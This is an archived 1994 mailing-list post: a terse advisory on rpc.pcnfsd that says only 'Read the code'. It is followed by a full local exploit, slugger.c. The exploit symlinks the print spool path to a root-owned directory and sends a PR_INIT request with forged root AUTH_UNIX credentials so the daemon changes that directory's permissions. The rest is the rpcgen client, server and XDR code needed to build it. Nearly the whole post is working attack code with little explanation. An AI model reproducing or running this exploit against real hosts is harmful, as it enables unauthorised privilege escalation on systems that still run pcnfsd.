[prev in list] [next in list] [prev in thread] [next in thread] 

List:       best-of-security
Subject:    BoS: pcnfsd
From:       root <root () crimson ! cadvision ! com>
Date:       1994-12-19 11:37:37
[Download RAW message or body]


		      Avalon Security Research 
			    Release 1.1
			     (pcnfsd)	

Affected Program: rpc.pcnfsd

Tested Operating Systems: Virtually any UNIX running pcnfsd.

Affect: Local users may chmod arbitrary directories on local
hosts running pcnfsd.

Bug Synopsis:
	
Read the code.


All responses may be directed to mcpheea@cadvision.com
------------------------------------------------------------------------------
/*
 * Please do not edit this file.
 * It was generated using rpcgen.
 */

#include <memory.h> /* for memset */
#include "pc.h"

/* Default timeout can be changed using clnt_control() */
static struct timeval TIMEOUT = { 25, 0 };

void *
pcnfsd_null_1(void *argp, CLIENT *clnt)
{
	static char clnt_res;

	memset((char *)&clnt_res, 0, sizeof(clnt_res));
	if (clnt_call(clnt, PCNFSD_NULL, xdr_void, argp, xdr_void, &clnt_res, TIMEOUT) != \
RPC_SUCCESS) {  return (NULL);
	}
	return ((void *)&clnt_res);
}

auth_res *
pcnfsd_auth_1(auth_args *argp, CLIENT *clnt)
{
	static auth_res clnt_res;

	memset((char *)&clnt_res, 0, sizeof(clnt_res));
	if (clnt_call(clnt, PCNFSD_AUTH, xdr_auth_args, argp, xdr_auth_res, &clnt_res, \
TIMEOUT) != RPC_SUCCESS) {  return (NULL);
	}
	return (&clnt_res);
}

pr_init_res *
pcnfsd_pr_init_1(pr_init_args *argp, CLIENT *clnt)
{
	static pr_init_res clnt_res;

	memset((char *)&clnt_res, 0, sizeof(clnt_res));
	if (clnt_call(clnt, PCNFSD_PR_INIT, xdr_pr_init_args, argp, xdr_pr_init_res, \
&clnt_res, TIMEOUT) != RPC_SUCCESS) {  return (NULL);
	}
	return (&clnt_res);
}

pr_start_res *
pcnfsd_pr_start_1(pr_start_args *argp, CLIENT *clnt)
{
	static pr_start_res clnt_res;

	memset((char *)&clnt_res, 0, sizeof(clnt_res));
	if (clnt_call(clnt, PCNFSD_PR_START, xdr_pr_start_args, argp, xdr_pr_start_res, \
&clnt_res, TIMEOUT) != RPC_SUCCESS) {  return (NULL);
	}
	return (&clnt_res);
}
-------------------------------------------------------------------------------
/* slugger.c
 * By Josh D. April 19th 1994 AD
 *    usage: slugger directory
 * where 'directory' is an absolute path to a directory owned by
 * root.
 *    This code requires pcnfsd.x
 *    pcnfsd must be running.
 *    if the program doesn't work or gives you errors make sure that
 *    'daprinter' contains a valid printer destination.
 */
 
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <arpa/inet.h>
#include <string.h>
#include <strings.h>
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <netinet/in.h>
#include "pcnfsd.h" /* this should be created by rpcgen */
 
 
int main(argc, argv)
int argc;
char **argv;
{
   
   char   myhost[200];
   int    gids[8];
   struct hostent      *dahent;
   struct sockaddr_in  daserver;
   CLIENT *datsme;
   struct pr_init_args daargs;
   struct pr_init_res *dares;
   char daprinter[65]; 
   char dadir[65];    
   char dapath[255];
   struct timeval tout;
   int ranysock=RPC_ANYSOCK; 
   tout.tv_sec=60;
   tout.tv_usec=0;
 
   if (argv[1] == NULL)
   {  printf("bad arguments\n");
      exit(1);
   }
 
   argc--;argv++;
 
   strcpy(dadir, argv[0]);
   bzero(argv[0], strlen(argv[0]));
 
   argc--;argv++;
 
   /* this must be a valid printer */
   strcpy(daprinter, "lp");
 
   gethostname(myhost, 200);
   myhost[200]='\0';
   sprintf(dapath, "/usr/spool/pcnfs/");
   strcat(dapath, myhost);
 
   if (fork()==0)
      execlp("ln", "----", "-s", dadir, dapath);
   else
      wait(0);
   
   daserver.sin_family = AF_INET;
   daserver.sin_port = 0;
   {  
      dahent = gethostbyname(myhost);
      if (dahent == NULL)
        printf("gethost failed.\n");
      bcopy(dahent->h_addr, &daserver.sin_addr.s_addr, 4);
   }
   
   datsme = clntudp_create(&daserver, 150001, 1, 
   tout, &ranysock);
   clnt_control(datsme, CLSET_TIMEOUT, &tout);
 
   gids[0]=0;
   gids[1]=1;
   datsme->cl_auth = authunix_create(myhost, 0, 0, 2, gids);
 
   daargs.pia_client = myhost;
   daargs.pia_printername = daprinter;
   
   /* send the packet */
   if ( (dares = pcnfsd_pr_init_1(&daargs, datsme)) == NULL)
   {  printf("wierd error\n"); }
 
   remove(dapath);
   if (dares->pir_stat == PI_RES_OK)
   {  printf("Success\n");
      if (fork()==0)
         execlp("/bin/ls", "-----", "-ald", dadir, 0);
      else
         wait(0);
   }
   if (dares->pir_stat != PI_RES_OK)
   {  printf("Error: ");
      switch(dares->pir_stat)
      {
         case PI_RES_NO_SUCH_PRINTER : 
            printf("No such printer\n");
            break;
         case PI_RES_OK :
            printf("Result Ok\?\?\n");
            break;
         case PI_RES_FAIL :
            printf("Generic Failure\n");
            break;
         default :
            printf("Unknown Error\n");
      }
   }
}
 ------------------------------------------------------------------------------
/*
 * Please do not edit this file.
 * It was generated using rpcgen.
 */

#include "pc.h"
#include <stdio.h>
#include <stdlib.h>/* getenv, exit */
#include <rpc/pmap_clnt.h> /* for pmap_unset */
#include <string.h> /* strcmp */ 
#include <memory.h>
#include <sys/socket.h>
#include <netinet/in.h>

#ifdef __STDC__
#define SIG_PF void(*)(int)
#endif

static void
pcnfsd_1(struct svc_req *rqstp, register SVCXPRT *transp)
{
	union {
		auth_args pcnfsd_auth_1_arg;
		pr_init_args pcnfsd_pr_init_1_arg;
		pr_start_args pcnfsd_pr_start_1_arg;
	} argument;
	char *result;
	xdrproc_t xdr_argument, xdr_result;
	char *(*local)(char *, struct svc_req *);

	switch (rqstp->rq_proc) {
	case PCNFSD_NULL:
		xdr_argument = (xdrproc_t) xdr_void;
		xdr_result = (xdrproc_t) xdr_void;
		local = (char *(*)(char *, struct svc_req *)) pcnfsd_null_1_svc;
		break;

	case PCNFSD_AUTH:
		xdr_argument = (xdrproc_t) xdr_auth_args;
		xdr_result = (xdrproc_t) xdr_auth_res;
		local = (char *(*)(char *, struct svc_req *)) pcnfsd_auth_1_svc;
		break;

	case PCNFSD_PR_INIT:
		xdr_argument = (xdrproc_t) xdr_pr_init_args;
		xdr_result = (xdrproc_t) xdr_pr_init_res;
		local = (char *(*)(char *, struct svc_req *)) pcnfsd_pr_init_1_svc;
		break;

	case PCNFSD_PR_START:
		xdr_argument = (xdrproc_t) xdr_pr_start_args;
		xdr_result = (xdrproc_t) xdr_pr_start_res;
		local = (char *(*)(char *, struct svc_req *)) pcnfsd_pr_start_1_svc;
		break;

	default:
		svcerr_noproc(transp);
		return;
	}
	(void) memset((char *)&argument, 0, sizeof (argument));
	if (!svc_getargs(transp, xdr_argument, (caddr_t) &argument)) {
		svcerr_decode(transp);
		return;
	}
	result = (*local)((char *)&argument, rqstp);
	if (result != NULL && !svc_sendreply(transp, xdr_result, result)) {
		svcerr_systemerr(transp);
	}
	if (!svc_freeargs(transp, xdr_argument, (caddr_t) &argument)) {
		fprintf(stderr, "unable to free arguments");
		exit(1);
	}
	return;
}

int
main(int argc, char **argv)
{
	register SVCXPRT *transp;

	(void) pmap_unset(PCNFSD, PCNFSD_VERS);

	transp = svcudp_create(RPC_ANYSOCK);
	if (transp == NULL) {
		fprintf(stderr, "cannot create udp service.");
		exit(1);
	}
	if (!svc_register(transp, PCNFSD, PCNFSD_VERS, pcnfsd_1, IPPROTO_UDP)) {
		fprintf(stderr, "unable to register (PCNFSD, PCNFSD_VERS, udp).");
		exit(1);
	}

	transp = svctcp_create(RPC_ANYSOCK, 0, 0);
	if (transp == NULL) {
		fprintf(stderr, "cannot create tcp service.");
		exit(1);
	}
	if (!svc_register(transp, PCNFSD, PCNFSD_VERS, pcnfsd_1, IPPROTO_TCP)) {
		fprintf(stderr, "unable to register (PCNFSD, PCNFSD_VERS, tcp).");
		exit(1);
	}

	svc_run();
	fprintf(stderr, "svc_run returned");
	exit(1);
	/* NOTREACHED */
}
-----------------------------------------------------------------------------
/*
 * Please do not edit this file.
 * It was generated using rpcgen.
 */

#include "pc.h"

bool_t
xdr_arstat(XDR *xdrs, arstat *objp)
{

	 register long *buf;

	 if (!xdr_enum(xdrs, (enum_t *)objp)) {
		 return (FALSE);
	 }
	return (TRUE);
}

bool_t
xdr_pirstat(XDR *xdrs, pirstat *objp)
{

	 register long *buf;

	 if (!xdr_enum(xdrs, (enum_t *)objp)) {
		 return (FALSE);
	 }
	return (TRUE);
}

bool_t
xdr_psrstat(XDR *xdrs, psrstat *objp)
{

	 register long *buf;

	 if (!xdr_enum(xdrs, (enum_t *)objp)) {
		 return (FALSE);
	 }
	return (TRUE);
}

bool_t
xdr_myself(XDR *xdrs, myself *objp)
{

	 register long *buf;

	 if (!xdr_string(xdrs, objp, USERLEN)) {
		 return (FALSE);
	 }
	return (TRUE);
}

bool_t
xdr_genstr(XDR *xdrs, genstr *objp)
{

	 register long *buf;

	 if (!xdr_string(xdrs, objp, GENERIC)) {
		 return (FALSE);
	 }
	return (TRUE);
}

bool_t
xdr_spool(XDR *xdrs, spool *objp)
{

	 register long *buf;

	 if (!xdr_string(xdrs, objp, SPOOLLEN)) {
		 return (FALSE);
	 }
	return (TRUE);
}

bool_t
xdr_auth_args(XDR *xdrs, auth_args *objp)
{

	 register long *buf;

	 if (!xdr_myself(xdrs, &objp->aa_ident)) {
		 return (FALSE);
	 }
	 if (!xdr_genstr(xdrs, &objp->aa_password)) {
		 return (FALSE);
	 }
	return (TRUE);
}

bool_t
xdr_auth_res(XDR *xdrs, auth_res *objp)
{

	 register long *buf;

	 if (!xdr_arstat(xdrs, &objp->ar_stat)) {
		 return (FALSE);
	 }
	 if (!xdr_long(xdrs, &objp->ar_uid)) {
		 return (FALSE);
	 }
	 if (!xdr_long(xdrs, &objp->ar_gid)) {
		 return (FALSE);
	 }
	return (TRUE);
}

bool_t
xdr_pr_init_args(XDR *xdrs, pr_init_args *objp)
{

	 register long *buf;

	 if (!xdr_genstr(xdrs, &objp->pia_client)) {
		 return (FALSE);
	 }
	 if (!xdr_genstr(xdrs, &objp->pia_printername)) {
		 return (FALSE);
	 }
	return (TRUE);
}

bool_t
xdr_pr_init_res(XDR *xdrs, pr_init_res *objp)
{

	 register long *buf;

	 if (!xdr_pirstat(xdrs, &objp->pir_stat)) {
		 return (FALSE);
	 }
	 if (!xdr_spool(xdrs, &objp->pir_spooldir)) {
		 return (FALSE);
	 }
	return (TRUE);
}

bool_t
xdr_pr_start_args(XDR *xdrs, pr_start_args *objp)
{

	 register long *buf;

	 if (!xdr_genstr(xdrs, &objp->psa_client)) {
		 return (FALSE);
	 }
	 if (!xdr_genstr(xdrs, &objp->psa_printername)) {
		 return (FALSE);
	 }
	 if (!xdr_genstr(xdrs, &objp->psa_username)) {
		 return (FALSE);
	 }
	 if (!xdr_genstr(xdrs, &objp->psa_filename)) {
		 return (FALSE);
	 }
	 if (!xdr_genstr(xdrs, &objp->psa_options)) {
		 return (FALSE);
	 }
	return (TRUE);
}

bool_t
xdr_pr_start_res(XDR *xdrs, pr_start_res *objp)
{

	 register long *buf;

	 if (!xdr_psrstat(xdrs, &objp->psr_stat)) {
		 return (FALSE);
	 }
	return (TRUE);
}
----------------------------------------------------------------------------
/*
 * Please do not edit this file.
 * It was generated using rpcgen.
 */

#ifndef _PC_H_RPCGEN
#define _PC_H_RPCGEN

#include <rpc/rpc.h>


enum arstat {
	AUTH_RES_OK = 0,
	AUTH_RES_FAKE = 1,
	AUTH_RES_FAIL = 2,
};
typedef enum arstat arstat;
#ifdef __cplusplus 
extern "C" bool_t xdr_arstat(XDR *, arstat*);
#elif __STDC__ 
extern  bool_t xdr_arstat(XDR *, arstat*);
#else /* Old Style C */ 
bool_t xdr_arstat();
#endif /* Old Style C */ 


enum pirstat {
	PI_RES_OK = 0,
	PI_RES_NO_SUCH_PRINTER = 1,
	PI_RES_FAIL = 2,
};
typedef enum pirstat pirstat;
#ifdef __cplusplus 
extern "C" bool_t xdr_pirstat(XDR *, pirstat*);
#elif __STDC__ 
extern  bool_t xdr_pirstat(XDR *, pirstat*);
#else /* Old Style C */ 
bool_t xdr_pirstat();
#endif /* Old Style C */ 


enum psrstat {
	PS_RES_OK = 0,
	PS_RES_ALREADY = 1,
	PS_RES_NULL = 2,
	PS_RES_NO_FILE = 3,
	PS_RES_FAIL = 4,
};
typedef enum psrstat psrstat;
#ifdef __cplusplus 
extern "C" bool_t xdr_psrstat(XDR *, psrstat*);
#elif __STDC__ 
extern  bool_t xdr_psrstat(XDR *, psrstat*);
#else /* Old Style C */ 
bool_t xdr_psrstat();
#endif /* Old Style C */ 

#define USERLEN 32
#define GENERIC 64
#define SPOOLLEN 255

typedef char *myself;
#ifdef __cplusplus 
extern "C" bool_t xdr_myself(XDR *, myself*);
#elif __STDC__ 
extern  bool_t xdr_myself(XDR *, myself*);
#else /* Old Style C */ 
bool_t xdr_myself();
#endif /* Old Style C */ 


typedef char *genstr;
#ifdef __cplusplus 
extern "C" bool_t xdr_genstr(XDR *, genstr*);
#elif __STDC__ 
extern  bool_t xdr_genstr(XDR *, genstr*);
#else /* Old Style C */ 
bool_t xdr_genstr();
#endif /* Old Style C */ 


typedef char *spool;
#ifdef __cplusplus 
extern "C" bool_t xdr_spool(XDR *, spool*);
#elif __STDC__ 
extern  bool_t xdr_spool(XDR *, spool*);
#else /* Old Style C */ 
bool_t xdr_spool();
#endif /* Old Style C */ 


struct auth_args {
	myself aa_ident;
	genstr aa_password;
};
typedef struct auth_args auth_args;
#ifdef __cplusplus 
extern "C" bool_t xdr_auth_args(XDR *, auth_args*);
#elif __STDC__ 
extern  bool_t xdr_auth_args(XDR *, auth_args*);
#else /* Old Style C */ 
bool_t xdr_auth_args();
#endif /* Old Style C */ 


struct auth_res {
	enum arstat ar_stat;
	long ar_uid;
	long ar_gid;
};
typedef struct auth_res auth_res;
#ifdef __cplusplus 
extern "C" bool_t xdr_auth_res(XDR *, auth_res*);
#elif __STDC__ 
extern  bool_t xdr_auth_res(XDR *, auth_res*);
#else /* Old Style C */ 
bool_t xdr_auth_res();
#endif /* Old Style C */ 


struct pr_init_args {
	genstr pia_client;
	genstr pia_printername;
};
typedef struct pr_init_args pr_init_args;
#ifdef __cplusplus 
extern "C" bool_t xdr_pr_init_args(XDR *, pr_init_args*);
#elif __STDC__ 
extern  bool_t xdr_pr_init_args(XDR *, pr_init_args*);
#else /* Old Style C */ 
bool_t xdr_pr_init_args();
#endif /* Old Style C */ 


struct pr_init_res {
	enum pirstat pir_stat;
	spool pir_spooldir;
};
typedef struct pr_init_res pr_init_res;
#ifdef __cplusplus 
extern "C" bool_t xdr_pr_init_res(XDR *, pr_init_res*);
#elif __STDC__ 
extern  bool_t xdr_pr_init_res(XDR *, pr_init_res*);
#else /* Old Style C */ 
bool_t xdr_pr_init_res();
#endif /* Old Style C */ 


struct pr_start_args {
	genstr psa_client;
	genstr psa_printername;
	genstr psa_username;
	genstr psa_filename;
	genstr psa_options;
};
typedef struct pr_start_args pr_start_args;
#ifdef __cplusplus 
extern "C" bool_t xdr_pr_start_args(XDR *, pr_start_args*);
#elif __STDC__ 
extern  bool_t xdr_pr_start_args(XDR *, pr_start_args*);
#else /* Old Style C */ 
bool_t xdr_pr_start_args();
#endif /* Old Style C */ 


struct pr_start_res {
	enum psrstat psr_stat;
};
typedef struct pr_start_res pr_start_res;
#ifdef __cplusplus 
extern "C" bool_t xdr_pr_start_res(XDR *, pr_start_res*);
#elif __STDC__ 
extern  bool_t xdr_pr_start_res(XDR *, pr_start_res*);
#else /* Old Style C */ 
bool_t xdr_pr_start_res();
#endif /* Old Style C */ 


#define PCNFSD ((u_long)150001)
#define PCNFSD_VERS ((u_long)1)

#ifdef __cplusplus
#define PCNFSD_NULL ((u_long)0)
extern "C" void * pcnfsd_null_1(void *, CLIENT *);
extern "C" void * pcnfsd_null_1_svc(void *, struct svc_req *);
#define PCNFSD_AUTH ((u_long)1)
extern "C" auth_res * pcnfsd_auth_1(auth_args *, CLIENT *);
extern "C" auth_res * pcnfsd_auth_1_svc(auth_args *, struct svc_req *);
#define PCNFSD_PR_INIT ((u_long)2)
extern "C" pr_init_res * pcnfsd_pr_init_1(pr_init_args *, CLIENT *);
extern "C" pr_init_res * pcnfsd_pr_init_1_svc(pr_init_args *, struct svc_req *);
#define PCNFSD_PR_START ((u_long)3)
extern "C" pr_start_res * pcnfsd_pr_start_1(pr_start_args *, CLIENT *);
extern "C" pr_start_res * pcnfsd_pr_start_1_svc(pr_start_args *, struct svc_req *);

#elif __STDC__
#define PCNFSD_NULL ((u_long)0)
extern  void * pcnfsd_null_1(void *, CLIENT *);
extern  void * pcnfsd_null_1_svc(void *, struct svc_req *);
#define PCNFSD_AUTH ((u_long)1)
extern  auth_res * pcnfsd_auth_1(auth_args *, CLIENT *);
extern  auth_res * pcnfsd_auth_1_svc(auth_args *, struct svc_req *);
#define PCNFSD_PR_INIT ((u_long)2)
extern  pr_init_res * pcnfsd_pr_init_1(pr_init_args *, CLIENT *);
extern  pr_init_res * pcnfsd_pr_init_1_svc(pr_init_args *, struct svc_req *);
#define PCNFSD_PR_START ((u_long)3)
extern  pr_start_res * pcnfsd_pr_start_1(pr_start_args *, CLIENT *);
extern  pr_start_res * pcnfsd_pr_start_1_svc(pr_start_args *, struct svc_req *);

#else /* Old Style C */ 
#define PCNFSD_NULL ((u_long)0)
extern  void * pcnfsd_null_1();
extern  void * pcnfsd_null_1_svc();
#define PCNFSD_AUTH ((u_long)1)
extern  auth_res * pcnfsd_auth_1();
extern  auth_res * pcnfsd_auth_1_svc();
#define PCNFSD_PR_INIT ((u_long)2)
extern  pr_init_res * pcnfsd_pr_init_1();
extern  pr_init_res * pcnfsd_pr_init_1_svc();
#define PCNFSD_PR_START ((u_long)3)
extern  pr_start_res * pcnfsd_pr_start_1();
extern  pr_start_res * pcnfsd_pr_start_1_svc();
#endif /* Old Style C */ 

#endif /* !_PC_H_RPCGEN */


******************************************************************************
"Freedom is a meal easy to eat, but difficult to digest". Rosseau
 Send all replies to mcpheea@cadvision.com
******************************************************************************


[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic